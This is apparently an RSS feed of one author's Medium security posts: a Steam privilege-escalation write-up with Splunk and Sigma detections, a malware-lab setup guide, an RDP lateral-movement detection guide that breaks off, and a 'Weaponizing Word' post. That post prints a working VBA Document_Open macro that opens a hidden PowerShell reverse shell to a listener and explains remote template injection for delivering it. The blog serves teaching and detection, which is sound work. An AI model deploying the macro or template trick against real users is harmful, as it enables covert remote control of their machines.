<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Saksham Bhattarai on Medium]]></title>
        <description><![CDATA[Stories by Saksham Bhattarai on Medium]]></description>
        <link>https://medium.com/@saksham-17?source=rss-aaa787cf31e3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*09xGpNuqGtkK8MMKz9gZqA.png</url>
            <title>Stories by Saksham Bhattarai on Medium</title>
            <link>https://medium.com/@saksham-17?source=rss-aaa787cf31e3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 19:42:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@saksham-17/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From Standard User to SYSTEM: Hunting BrokenPipe (Steam LPE)]]></title>
            <link>https://saksham-17.medium.com/from-standard-user-to-system-hunting-brokenpipe-steam-lpe-474cdacd2680?source=rss-aaa787cf31e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/474cdacd2680</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <dc:creator><![CDATA[Saksham Bhattarai]]></dc:creator>
            <pubDate>Sat, 19 Sep 2026 12:35:31 GMT</pubDate>
            <atom:updated>2026-09-19T12:44:30.665Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>A single executable as standard Windows user. Few seconds later SYSTEM shell. No password. No UAC prompt.</blockquote><h3>1. Introduction</h3><p>BrokenPipe is a local privilege escalation flaw in Steam where a standard Windows user can abuse steamservice.exe, which runs as SYSTEM, to execute an attacker-controlled binary with SYSTEM privileges. The root cause is simple: Steam validates the signed VDF contents, but not the execution path supplied by the caller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*ATS6zArRC1CCtw-z5MwkZA.png" /><figcaption><em>Process Explorer showing steamservice.exe → launcher.exe → cmd.exe, all SYSTEM integrity</em></figcaption></figure><h3>2. Setting Up the Lab</h3><p>Every test in this post was conducted inside an isolated Windows 10 x64 virtual machine running a standard, non-privileged user account with no administrative group membership. Steam was installed and left idle at its unauthenticated login screen with no Steam account required. Sysmon ran throughout with SwiftOnSecurity’s baseline configuration, Process Monitor and Process Hacker captured ground-truth telemetry in parallel, and a Splunk development instance ingested both the Sysmon and Windows Security event logs in real time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*8XPc3OvJ-su50x4u6B880A.png" /><figcaption><em>High-level BrokenPipe attack chain — standard user to NT AUTHORITY\SYSTEM</em></figcaption></figure><p>Running the binary was enough to trigger the exploit, no UAC prompt, password, or admin approval was required. Within seconds, an interactive command prompt opened as NT AUTHORITY\SYSTEM (S-1-5-18). The Windows Security log showed no obvious privilege escalation or new logon event, making the activity easy to miss during routine monitoring.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*EtWEbBV43nZ27WZi7E3o8g.png" /><figcaption><em>whoami /user confirming NT AUTHORITY\SYSTEM, SID S-1–5–18</em></figcaption></figure><h3>3. Observed Events &amp; Logs</h3><p>The attack begins with a standard Windows user account, no administrative privileges, and an idle Steam client at its login screen.</p><p>Running BrokenPipe.exe as guest1 immediately which spawned powershell.exe with -ExecutionPolicy Bypass. No prompt, no warning. Sysmon Event 1 captured it as parent process BrokenPipe.exe, child powershell.exe, user guest1, integrity level Medium. The entire chain starts here, completely unprivileged.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L4U3DSeLLeNQ19labavWxw.png" /><figcaption>BrokenPipe.exe spawning powershell.exe as guest1</figcaption></figure><p>PowerShell unpacked the embedded payload and staged the exploit toolkit to C:\Users\Public\BrokenPipe\. Three files matter: signed.vdf (genuine Valve-signed manifest), run.vdf (attacker-built execution script), and launcher.exe (a renamed copy of cmd.exe). Public folder was deliberately chosen — any standard user can write there, no permissions needed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KjQqe2Er2UR_-_PkkqJaGQ.png" /><figcaption>powershell.exe writing launcher.exe and .ps1 files to C:\Users\Public\BrokenPipe\</figcaption></figure><p>PowerShell loaded steam_service_ipc_frames.ps1 and opened a direct communication channel to steamservice.exe using Windows shared memory. The channel was visible in Process Hacker: powershell.exe holding an open handle to SteamClientService_SharedMemFile. A standard user process, connected to a SYSTEM service&#39;s IPC channel, with no admin rights required.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z6aeLP49OmaZJ7WtZ3IcUA.png" /><figcaption>powershell.exe handles tab holding SteamClientService_SharedMemFile</figcaption></figure><p>The IPC framework sent AddInstallScriptToWhiteList with two fields: the path to signed.vdf a genuine Valve signature and C:\Users\Public\BrokenPipe\ as the installation root. The Steam service validated the VDF signature. It passed. The installation root was accepted without any validation. That is the entire vulnerability — one field checked, one field trusted blindly.</p><p>Script block logging captured the IPC opcodes before any call fired: 0x3f for the whitelist request, 0x41 for the run request. Event 4104 logged the full steam_service_ipc_frames.ps1 content in Splunk before a single IPC frame was sent. steamservice.exe immediately began CreateFile, ReadFile, and registry operations against the BrokenPipe working directory. VDF contents validated, signature passed, WorkRoot trusted completely.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NdKK_Qg3v_FH7lSFM-Cq-g.png" /><figcaption>steamservice.exe CreateFile and ReadFile against relocated-root\launcher.exe</figcaption></figure><p>Sysmon Event 1 fired again — this time steamservice.exe spawning launcher.exe from C:\Users\Public\BrokenPipe\, then launcher.exe spawning cmd.exe. Every process in the chain: NT AUTHORITY\SYSTEM, integrity level System. whoami /user inside the shell returned S-1-5-18. Local System.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5WR4Q6Jqm6cwjDed8G2FsQ.png" /><figcaption>steamservice.exe → launcher.exe → cmd.exe, all SYSTEM integrity</figcaption></figure><h3>4. Detection &amp; Hunting Queries</h3><h4><strong>4.1 Hunting queries in Splunk</strong></h4><p><strong>Hunt 1 — SYSTEM Child Process Execution from Non-OS Service Paths</strong></p><pre>index=main EventCode=1<br>IntegrityLevel=&quot;System&quot;<br>ParentImage IN (&quot;*steamservice.exe&quot;,&quot;*updater.exe&quot;,&quot;*launcher.exe&quot;,&quot;*agent.exe&quot;,&quot;*helper.exe&quot;)<br>NOT Image IN (<br>    &quot;C:\\Program Files\\*&quot;,<br>    &quot;C:\\Program Files (x86)\\*&quot;,<br>    &quot;C:\\Windows\\*&quot;<br>)<br>| table _time, ComputerName, User, ParentImage, Image, CommandLine, IntegrityLevel<br>| sort - _time</pre><p><strong>Hunt 2 — PowerShell writing executables to user-writable public paths</strong></p><pre>index=main EventCode=11<br>Image=&quot;*\\powershell.exe&quot;<br>NOT TargetFilename=&quot;*\\__PSScriptPolicyTest_*.ps1&quot;<br>(TargetFilename=&quot;C:\\Users\\Public\\*&quot; OR TargetFilename=&quot;*\\AppData\\*&quot; OR TargetFilename=&quot;*\\Temp\\*&quot;)<br>(TargetFilename=&quot;*.exe&quot; OR TargetFilename=&quot;*.vdf&quot; OR TargetFilename=&quot;*.ps1&quot;)<br>| table _time, ComputerName, User, Image, TargetFilename<br>| sort - _time</pre><h4><strong>4.2 </strong>Sigma Rules</h4><p><strong>Rule 1 — SYSTEM Service Spawns Child Process Outside Install Directory</strong></p><pre>title: BrokenPipe - Steam LPE SYSTEM Child Outside Install Directory<br>id: 895d3358-e983-44bf-a69f-0577449c177c<br>status: experimental<br>description: &gt;<br>  Detects steamservice.exe spawning a child process with SYSTEM integrity<br>  from an image path outside the standard Steam install directory.<br>references:<br>  - https://github.com/KillaBoi/BrokenPipe<br>author: Saksham Bhattarai<br>date: 2026-09-19<br>tags:<br>  - attack.privilege_escalation<br>  - attack.t1548<br>  - attack.t1543.003<br>  - attack.t1574<br>logsource:<br>  category: process_creation<br>  product: windows<br>detection:<br>  selection_parent:<br>    ParentImage|endswith: &#39;\steamservice.exe&#39;<br>  selection_integrity:<br>    IntegrityLevel: &#39;System&#39;<br>  filter_main_legit_paths:<br>    Image|startswith:<br>      - &#39;C:\Program Files (x86)\Steam\&#39;<br>      - &#39;C:\Program Files\Steam\&#39;<br>      - &#39;C:\Windows\System32\&#39;<br>  condition: selection_parent and selection_integrity and not filter_main_legit_paths<br>falsepositives:<br>  - Legitimate Steam updates with non-default install paths<br>  - Custom Steam library locations outside Program Files<br>level: high</pre><p><strong>Rule 2— PowerShell dropping executables to public/user paths</strong></p><pre>title: PowerShell Dropping Executable to User-Writable Directory<br>id: c2f7fc01-c538-4473-abc8-457b02f8e8ca<br>status: experimental<br>description: &gt;<br>  Detects PowerShell writing executable or script files to user-writable<br>  paths such as C:\Users\Public or TEMP directories. May indicate<br>  payload staging prior to execution as seen in BrokenPipe-style LPE chains.<br>author: Saksham Bhattarai<br>date: 2026-09-19<br>tags:<br>  - attack.execution<br>  - attack.t1059.001<br>  - attack.t1105<br>logsource:<br>  category: file_event<br>  product: windows<br>detection:<br>  selection_process:<br>    Image|endswith:<br>      - &#39;\powershell.exe&#39;<br>      - &#39;\pwsh.exe&#39;<br>  selection_path:<br>    TargetFilename|contains:<br>      - &#39;\Users\Public\&#39;<br>      - &#39;\AppData\Local\Temp\&#39;<br>  selection_ext:<br>    TargetFilename|endswith:<br>      - &#39;.exe&#39;<br>      - &#39;.ps1&#39;<br>  filter_main_policy_test:<br>    TargetFilename|re: &#39;\\__PSScriptPolicyTest_[^\\]+\.ps1$&#39;<br>  condition: selection_process and selection_path and selection_ext and not filter_main_policy_test<br>falsepositives:<br>  - Legitimate software deployment scripts<br>  - Admin scripts that stage tools to Public folder<br>  - Package managers extracting to Temp<br>level: medium</pre><h3><strong>5. MITRE ATT&amp;CK Mapping</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*75lZnXJ-x8cDbec_Hq46rA.png" /></figure><h3>6. Conclusion</h3><p>BrokenPipe doesn’t look like much on paper, no memory corruption, no kernel exploit, just one path that nobody validated. That’s exactly what makes it worth paying attention to. Simple, reliable, and works on every machine with Steam installed. The real takeaway isn’t about Steam specifically. Privileged services that trust caller-controlled input inside a signed container is a pattern that shows up across auto-updaters, game launchers, and enterprise agents from dozens of vendors. Valve happened to be the one with a public PoC. They won’t be the last.</p><p>For a deeper technical breakdown, including the telemetry analysis, and detection engineering methodology, refer to my detailed technical report: <a href="https://sakshambhattarai.com.np/technical_report/BrokenPipe_Technical_Analysis.pdf">Link to Detailed Technical Report</a></p><h3>7. References</h3><ul><li>KillaBoi/BrokenPipe — <a href="https://github.com/KillaBoi/BrokenPipe">https://github.com/KillaBoi/BrokenPipe</a></li><li>Video walkthrough: <a href="https://www.youtube.com/watch?v=Jx6Jvykqhsk">https://www.youtube.com/watch?v=Jx6Jvykqhsk</a></li><li>MITRE ATT&amp;CK: <a href="https://attack.mitre.org/tactics/TA0004/">https://attack.mitre.org/tactics/TA0004/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=474cdacd2680" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Weaponizing Word: The Art of Remote Template Injection & Reverse Shells]]></title>
            <link>https://saksham-17.medium.com/weaponizing-word-the-art-of-remote-template-injection-reverse-shells-4f52155507ec?source=rss-aaa787cf31e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/4f52155507ec</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Saksham Bhattarai]]></dc:creator>
            <pubDate>Fri, 23 Jan 2026 16:26:47 GMT</pubDate>
            <atom:updated>2026-01-23T16:26:47.790Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>We spend millions on next-gen firewalls to block malicious executables, yet we open Microsoft Word documents without a second thought.</strong></p><p>Word is the operating system of the business world — trusted, ubiquitous, and essential. But beneath its ribbon interface lies <strong>Visual Basic for Applications (VBA)</strong>, an automation engine so powerful it can turn a standard quarterly report into a fully functional command center.</p><p>In this project, I weaponized a legitimate feature to demonstrate a critical attack vector. By engineering a custom Macro-Enabled payload (.docm) and manipulating XML document relationships to bind it to a standard .docx file, I demonstrated how a single double-click can instantaneously bridge the gap between a secured corporate workstation and an external attacker&#39;s terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*y1tZhmRt0-w3x0LGfqvGAA.png" /></figure><h3>Step 1: The Malicious Engine (The Macro)</h3><p>The core of this attack isn’t a complex exploit; it is a script designed to bypass the local file system entirely. Instead of dropping a virus file on the disk (which is easily caught by antivirus), this script executes a <strong>Fileless Attack</strong> via PowerShell.</p><p>I crafted a specific VBA script that triggers the moment the document is opened. Here is the exact code used to arm the payload:</p><pre>Sub Document_Open()<br>    ExecuteShell<br>End Sub<br><br>Sub ExecuteShell()<br>    Dim shell As Object<br>    Dim payload As String<br>    Set shell = CreateObject(&quot;WScript.Shell&quot;)<br>    <br>    payload = &quot;powershell -ExecutionPolicy Bypass -WindowStyle Normal -Command &quot; &amp; _<br>              &quot;$c=New-Object System.Net.Sockets.TCPClient(&#39;192.168.247.128&#39;,4444);&quot; &amp; _<br>              &quot;$s=$c.GetStream();[byte[]]$b=0..65535|%{0};&quot; &amp; _<br>              &quot;while(($i=$s.Read($b,0,$b.Length)) -ne 0){&quot; &amp; _<br>              &quot;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);&quot; &amp; _<br>              &quot;$sb=(iex $d 2&gt;&amp;1 | Out-String);&quot; &amp; _<br>              &quot;$sb2=$sb+&#39;PS &#39;+(pwd).Path+&#39;&gt; &#39;;&quot; &amp; _<br>              &quot;$s.Write(([text.encoding]::ASCII).GetBytes($sb2),0,$sb2.Length);&quot; &amp; _<br>              &quot;$s.Flush()};$c.Close()&quot;<br><br>    shell.Run payload, 0<br>End Sub</pre><ul><li><strong>WScript.Shell</strong>: This object allows VBA to run system commands.</li><li><strong>TCPClient(&#39;192.168.247.128&#39;,4444)</strong>: This establishes a direct network socket to my attack server (Ubuntu VM).</li><li><strong>iex (Invoke-Expression)</strong>: This command takes the data received from the server and executes it as code, piping the results back.</li><li><strong>shell.Run payload, 0</strong>: The 0 parameter is crucial—it runs the PowerShell window in <strong>hidden mode</strong>, so the user sees nothing but the Word document.</li></ul><h3>Step 2: The Delivery (Remote Template Injection)</h3><p>Sending a .docm (Macro-Enabled) file directly via email is often a red flag. Email gateways block them, and users are suspicious of them. To make the attack vector stealthier, I utilized a technique known as <strong>Remote Template Injection</strong>.</p><p>I started by creating a clean, harmless .docx file using a standard, professional-looking pre-built template. This ensured the document looked legitimate to any casual inspection or static scanner.</p><p>The “weaponization” happened under the hood. Since modern Office files (.docx) are essentially ZIP archives full of XML, I extracted the file and navigated to the relationship definition file: word/_rels/settings.xml.rels</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*PHWA-LQofmtXrpCUTHR11g.png" /></figure><p>By modifying the Target attribute within this XML, I redirected the document’s template reference from its original local resource to a different file path on my system. This demonstrates how the template relationship can be altered to load an external .docm file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KBXcTho6rORON_Ii2bjk5w.png" /></figure><p>While this example uses a local file path, the same technique could point to a .docm file hosted in the cloud, causing Word to retrieve the template over the network. This separation of the document and its template highlights how content can be loaded from outside the original file’s location.</p><h3>The Execution: Total Control</h3><p>Once the target opened the modified document, the kill chain executed instantly:</p><ol><li><strong>The Trigger:</strong> The Document_Open event fired immediately upon loading the remote template.</li><li><strong>The Connection:</strong> The hidden PowerShell process reached out to my listener (192.168.247.128).</li><li><strong>The Shell:</strong> A fully interactive command prompt appeared on my Ubuntu terminal.</li></ol><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FTpSn52V1_4w%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DTpSn52V1_4w&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FTpSn52V1_4w%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/4351112495c0667a4bf9f27cc49d2af1/href">https://medium.com/media/4351112495c0667a4bf9f27cc49d2af1/href</a></iframe><p><strong>Impact:</strong> I successfully bridged the gap between a Word document and a Linux terminal. From this shell, I gained the ability to browse directories, read sensitive files, check user permissions, and spawn processes on the victim machine — all while the user was staring at a standard invoice.</p><h3>The Defender’s Perspective: Detection &amp; Mitigation</h3><p>As a security professional, demonstrating the attack is only half the job. Understanding how to stop it is the goal.</p><p>In a hardened corporate environment, this specific PoC would face hurdles. Modern endpoint protection (Windows Defender / EDR) is trained to spot raw reverse shell strings like System.Net.Sockets.TCPClient. Real-world attackers adapt by using <strong>Obfuscation</strong>—scrambling the code with Base64 encoding to evade signature detection.</p><h4>Lab Setup &amp; Constraints</h4><p>For this research lab, I focused on the <em>mechanics</em> of the connection rather than evasion. To allow the analysis of the execution flow:</p><ul><li><strong>Defender Bypass:</strong> I disabled Real-Time Protection to prevent the raw script from being blocked immediately.</li><li><strong>Trust Settings:</strong> I enabled “Trust access to the VBA project object model” to simulate a user who has been socially engineered into clicking “Enable Content.”</li></ul><h4>How to Detect This:</h4><ol><li><strong>Process Monitoring:</strong> Alert on WINWORD.EXE spawning powershell.exe as a child process. This is a high-confidence indicator of compromise.</li><li><strong>Network Anomalies:</strong> Monitor for internal workstations initiating outbound TCP connections on non-standard ports (like 4444).</li><li><strong>Attack Surface Reduction (ASR):</strong> Implement ASR rules to block Office applications from creating child processes entirely.</li></ol><h3>⚠️ Disclaimer</h3><p><strong>This project was performed in a controlled, isolated laboratory environment for educational and research purposes.</strong></p><p>The techniques demonstrated here are intended to help security professionals understand attack vectors to better defend against them. Unauthorized use of these techniques against systems you do not own is illegal and unethical.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4f52155507ec" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Practical Malware Analysis]]></title>
            <link>https://saksham-17.medium.com/practical-malware-analysis-486d59a67a8b?source=rss-aaa787cf31e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/486d59a67a8b</guid>
            <category><![CDATA[homelab]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Saksham Bhattarai]]></dc:creator>
            <pubDate>Sun, 28 Dec 2025 16:15:11 GMT</pubDate>
            <atom:updated>2026-01-20T17:03:36.565Z</atom:updated>
            <content:encoded><![CDATA[<p>Malware is everywhere — embedded in emails, hidden on compromised websites, delivered through USB drives, and even bundled within legitimate-looking software downloads. As threat actors continuously evolve their techniques, understanding how malware operates is no longer optional; it has become a core skill for modern cybersecurity professionals.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*EGKE27TItZdUmcqz.jpeg" /></figure><p>This blog series documents my learning journey through <strong>TCM Security’s Practical Malware Analysis and Triage course</strong>. Throughout this series, I explore how malware behaves, how analysts can safely examine malicious files, and how suspicious samples are quickly triaged in real-world security environments. The goal is to bridge theory with practical, hands-on analysis while following industry-relevant workflows.</p><h3>Building a Safe Malware Analysis Lab</h3><p>Running malware on a personal system or a production network can have serious consequences, including data loss, persistence mechanisms being deployed, or unintended lateral spread. For this reason, malware should <strong>never</strong> be executed outside of a controlled environment.</p><p>A dedicated malware analysis lab allows analysts to safely observe malicious behavior without risking real systems. Features such as system snapshots, controlled networking, and strict isolation make analysis both safer and more effective.</p><p>For this blog series, I built a malware analysis lab following best practices taught in <strong>TCM Security’s Practical Malware Analysis and Triage course</strong>. The entire setup is <strong>fully virtualized</strong>, meaning all analysis is performed inside virtual machines rather than on the host operating system.</p><h4>Lab Architecture Overview</h4><p>The lab consists of two dedicated virtual machines:</p><ul><li><strong>Windows 10 VM</strong><br> Used as the primary environment for executing and analyzing Windows-based malware samples.</li><li><strong>REMnux Linux VM</strong><br> Used for analysis support, network monitoring, and simulating internet services.</li></ul><h4>Hypervisor and Virtual Machine Setup</h4><p>I began by installing <strong>VMware Workstation Pro</strong>, a widely used desktop hypervisor for creating and managing virtual machines. The installer was downloaded directly from VMware’s official website.</p><p>Next, I downloaded a <strong>Windows 10 ISO</strong> from Microsoft’s official source. This Windows VM serves as the primary environment where malware samples will be executed and analyzed.</p><p>After importing the ISO into VMware, I proceeded with the default virtual machine configuration. Once the Windows installation was complete, I immediately took a snapshot named <strong>base-install</strong>. This snapshot serves as a clean restore point that can be reused whenever needed.</p><h4>Setting Up REMnux</h4><p>To support malware analysis and network monitoring, I set up <strong>REMnux</strong>, a Linux distribution specifically designed for malware analysis and reverse engineering. REMnux comes preloaded with a large collection of tools for:</p><ul><li>Static analysis</li><li>Dynamic analysis support</li><li>Network traffic simulation and monitoring</li></ul><p>The REMnux virtual machine was downloaded from the official website and imported directly into VMware using the default configuration.</p><h4>Windows 10 Configuration for Malware Analysis (FLARE-VM)</h4><p>With the base Windows VM ready, I began configuring it as a <strong>FLARE VM</strong> — a Windows-based malware analysis environment developed by Mandiant and widely used by security professionals.</p><h4>Basic Tooling</h4><p>For usability and workflow efficiency, I installed:</p><ul><li><strong>Google Chrome</strong> (for documentation and tool downloads)</li><li><strong>Windows Terminal</strong> (for a better command-line experience)</li></ul><pre>wget https://aka.ms/Microsoft.VCLibs.x64.14.00.Desktop.appx -UseBasicParsing -o VCLibs.appx<br>wget https://github.com/microsoft/terminal/releases/download/v1.15.3465.0/Microsoft.WindowsTerminal_Win10_1.15.3465.0_8wekyb3d8bbwe.msixbundle -UseBasicParsing -o winterminal.msixbundle<br>Add-AppxPackage \path\to\VCLibs.appx<br>Add-AppxPackage \path\to\winterminal.msixbundle</pre><p>Windows Terminal was installed by downloading the required VCLibs package and the MSIX bundle, then installing both via an administrative PowerShell session. Once installed, Windows Terminal was pinned to the taskbar for quick access.</p><h4>Disabling Windows Security Controls</h4><p>To prevent interference during malware execution and analysis, several built-in Windows security features were disabled.</p><ul><li>Turn off <strong>automatic proxy detection</strong> by searching for “Proxy Settings” and disabling the “Automatically detect settings” option which prevents unexpected network behavior during analysis.</li><li><strong>Microsoft Defender Tamper Protection</strong> and all Defender protections were disabled.</li><li>Configured Group Policy by navigating to <em>Administrative Templates → Windows Components → Microsoft Defender Antivirus</em> and enabling the policy to turn off Microsoft Defender Antivirus.</li><li>Disabled the <strong>Windows Firewall</strong> using Group Policy for both the Domain and Standard profiles by navigating to <em>Administrative Templates → Network → Network Connections → Windows Defender Firewall </em>and disabling the “Protect all network connections” setting.</li></ul><p>These changes ensure that malware behavior is not altered or blocked by host-based defenses during analysis.</p><p>After completing this configuration, I took another snapshot to preserve a <strong>clean pre-tooling baseline</strong>.</p><h4>Installing FLARE-VM</h4><p>The next step in preparing the Windows analysis environment was installing <strong>FLARE-VM</strong>, which automates the installation of a comprehensive malware analysis toolkit on Windows.</p><p>Using an administrative PowerShell session, I downloaded and executed the FLARE-VM installer with the custom configuration file used in the TCM course.</p><pre>(New-Object net.webclient).DownloadFile(&#39;https://raw.githubusercontent.com/mandiant/flare-vm/main/install.ps1&#39;,&quot;$([Environment]::GetFolderPath(&quot;Desktop&quot;))\install.ps1&quot;)<br>Unblock-File .\install.ps1<br>Set-ExecutionPolicy Unrestricted<br>.\install.ps1 -customConfig https://raw.githubusercontent.com/HuskyHacks/PMAT-labs/main/config.xml</pre><p>After following the on-screen prompts and completing the installation, I took another snapshot.</p><p>This snapshot represents a <strong>fully configured Windows malware analysis environment</strong> that can be restored at any time.</p><h4>Network Configuration and Isolation</h4><p>Network isolation is critical when analyzing malware. The goal is to prevent real internet access while still allowing controlled communication between lab systems.</p><p>Using <strong>VMware Virtual Network Editor</strong>, I created a new <strong>Host-Only virtual network</strong> with the following properties:</p><ul><li>Subnet: 10.0.0.0/24</li><li>DHCP enabled</li><li>No external internet access</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*aHM-DJq5iqkpSoW7uc33Sw.png" /></figure><p>This isolated network was assigned to both the Windows FLARE VM and the REMnux VM.</p><p>To verify the setup:</p><ul><li>The VMs successfully pinged each other</li><li>External connectivity (e.g., google.com) failed as expected</li></ul><p>This confirmed proper isolation while maintaining internal communication.</p><h4>Simulating Internet Services with INetSim</h4><p>Many malware samples attempt to communicate with external infrastructure for command-and-control, updates, or data exfiltration. Since the lab is isolated from the internet, I used <strong>INetSim</strong> on the REMnux VM to simulate common internet services such as DNS and HTTP.</p><p>On the REMnux VM, I modified the INetSim configuration file to enable and properly bind the required services.</p><pre>sudo nano /etc/inetsim/inetsim.conf</pre><p>Within the configuration file:</p><ul><li>uncommented the start_service_dns option to ensure DNS requests would be handled locally.</li><li>uncommented the service_bind_address option and set it to <strong>0.0.0.0</strong>, allowing INetSim to listen on all interfaces.</li><li>configured the dns_default_ip setting and pointed it to the REMnux machine’s IP address, which in my case was <strong>10.0.0.3</strong>.</li></ul><p>Once started, REMnux was ready to simulate internet-like responses for malware running inside the Windows VM.</p><h4>DNS Configuration on the FLARE VM</h4><p>To ensure all malware-generated DNS traffic was captured, the Windows FLARE VM was manually configured to use the REMnux machine as its DNS server.</p><p>By setting the DNS server address to the REMnux IP, all DNS queries are routed through INetSim. This allows analysts to observe attempted network communication without exposing the environment to real external servers.</p><h4>Malware Samples Used in the Course</h4><p>All malware samples used throughout this course are provided as part of the official lab material and are hosted in the <a href="https://github.com/HuskyHacks/PMAT-labs"><strong>PMAT labs GitHub repository</strong>.</a></p><p>These samples are intended <strong>strictly for educational use</strong> and should only be accessed within an isolated lab environment. Instructions for safely downloading and handling the repository are covered in the course’s lab orientation section.</p><h4>Final Snapshot: Pre-Detonation State</h4><p>With:</p><ul><li>The Windows FLARE VM fully configured</li><li>REMnux running INetSim</li><li>Network isolation verified</li></ul><p>I took a final snapshot of both virtual machines. This snapshot represents the <strong>pre-detonation state</strong>, meaning the environment is fully prepared for malware execution and analysis. Moving forward, I will use this lab setup to perform malware triage, extract indicators of compromise, observe runtime behavior, and document findings through detailed write-ups that reflect real-world malware analysis workflows.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=486d59a67a8b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RDP Lateral Movement Detection]]></title>
            <link>https://saksham-17.medium.com/rdp-lateral-movement-detection-bf58fcf6d46a?source=rss-aaa787cf31e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/bf58fcf6d46a</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[rdp]]></category>
            <category><![CDATA[lateral-movement]]></category>
            <dc:creator><![CDATA[Saksham Bhattarai]]></dc:creator>
            <pubDate>Mon, 21 Jul 2025 16:50:22 GMT</pubDate>
            <atom:updated>2025-07-21T16:54:27.140Z</atom:updated>
            <content:encoded><![CDATA[<p>In the evolving landscape of cybersecurity threats, attackers increasingly rely on stealthy techniques to move laterally across networks. One of the most commonly exploited methods is Remote Desktop Protocol (RDP) which is a legitimate administrative tool widely used across enterprise environments — but in the hands of an attacker, it becomes a powerful vector for <strong>lateral movement</strong>. Once an adversary compromises a single endpoint, their next step often involves silently pivoting across the network using RDP to escalate access, dump credentials, or deploy malware — usually without raising immediate alarms.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hjWk0SR1S4OvVf7e" /></figure><p>Detecting RDP-based lateral movement requires more than just monitoring logon events. Attackers know how to blend in with normal administrative behavior, making it critical for defenders to correlate signals across multiple layers of telemetry. In this post, we’ll walk through a <strong>multi-faceted approach to RDP detection</strong> using:</p><ul><li><strong>Windows Event Logs</strong> — Logon types, session IDs, and key event sequences.</li><li><strong>Process Execution Artifacts</strong> — Tracing mstsc.exe, rdpclip.exe, and more.</li><li><strong>Registry Entries</strong> — Most Recently Used (MRU) host entries for direct user attribution.</li><li><strong>Bitmap Cache Forensics</strong> — Visual evidence of attacker activity during sessions.</li></ul><p>Whether you’re building detection logic in a SIEM, threat hunting across endpoints, or conducting post-incident forensics, this guide will equip you with the knowledge to <strong>spot and trace RDP lateral movement</strong> across your environment.</p><h3>Detecting RDP Lateral Movement via Windows Event Logs</h3><p>Remote Desktop Protocol (RDP) is a powerful tool for remote administration — but it’s also a favorite for attackers seeking lateral movement within a compromised network. Detecting such activity requires a deep understanding of Windows event logs, especially those related to session management and authentication. A typical RDP connection begins with <strong>Event ID 1149</strong> from the <strong>TerminalServices-LocalSessionManager/Operational</strong> log, indicating a successful network-level authentication (NLA).</p><p>However, this does <strong>not imply a full user logon</strong> — only that credentials were valid for NLA. Once the RDP session progresses, logs like <strong>Event ID 21 (session logon succeeded)</strong>, <strong>22 (shell start)</strong>, and <strong>23 (logoff)</strong> help map the user session timeline. Furhter, check Windows event id 4624 and 4625 stored at: 